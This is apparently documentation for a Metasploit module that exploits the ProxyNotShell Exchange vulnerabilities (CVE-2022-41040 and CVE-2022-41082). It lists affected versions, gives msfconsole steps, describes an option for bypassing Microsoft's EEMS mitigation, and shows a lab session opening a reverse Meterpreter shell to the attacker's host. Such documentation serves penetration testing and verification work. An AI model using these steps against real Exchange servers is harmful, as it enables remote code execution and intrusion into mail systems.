## Vulnerable Application

This module chains two vulnerabilities on Microsoft Exchange Server that, when combined, allow an authenticated attacker
to interact with the Exchange Powershell backend (CVE-2022-41040), where a deserialization flaw can be leveraged to
obtain code execution (CVE-2022-41082). This exploit only support Exchange Server 2019.

By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server.

This vulnerability affects:

  * Exchange 2013 CU23 < 15.0.1497.44
  * Exchange 2016 CU22 < 15.1.2375.37
  * Exchange 2016 CU23 < 15.1.2507.16
  * Exchange 2019 CU11 < 15.2.986.36
  * Exchange 2019 CU12 < 15.2.1118.20

*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: November 8, 2022 (KB5019758)][1]*

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/windows/http/exchange_proxynotshell_rce`
3. Do: `set RHOSTS [IP]`
4. Do: `set USERNAME [USERNAME]`
5. Do: `set PASSWORD [PASSWORD]`
6. Do: `run`

## Advanced Options
### EemsBypass

Technique to bypass the EEMS rule.

**none** -- Make no attempt to bypass the EEMS rule. This can be used with the `check` method to determine if the EEMS 
M1 rule is applied.
**IBM037v1** -- Use IBM037 encoding combined with the `X-Up-Devcap-Post-Charset` header and `UP` User-Agent prefix. See
[ProxyNotRelay][2] for more information.

### MaxBackendRetries

The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.

## Scenarios

### Version and OS

```
msf exploit(windows/http/exchange_proxynotshell_rce) > set RHOSTS 192.168.159.11
RHOSTS => 192.168.159.11
msf exploit(windows/http/exchange_proxynotshell_rce) > set USERNAME aliddle
USERNAME => aliddle
msf exploit(windows/http/exchange_proxynotshell_rce) > set PASSWORD Password1!
PASSWORD => Password1!
msf exploit(windows/http/exchange_proxynotshell_rce) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (175686 bytes) to 192.168.159.11
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.11:7290) at 2022-11-18 17:32:18 -0500

meterpreter > 
```

[1]: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-8-2022-kb5019758-2b3b039b-68b9-4f35-9064-6b286f495b1d
[2]: https://rw.md/2022/11/09/ProxyNotRelay.html
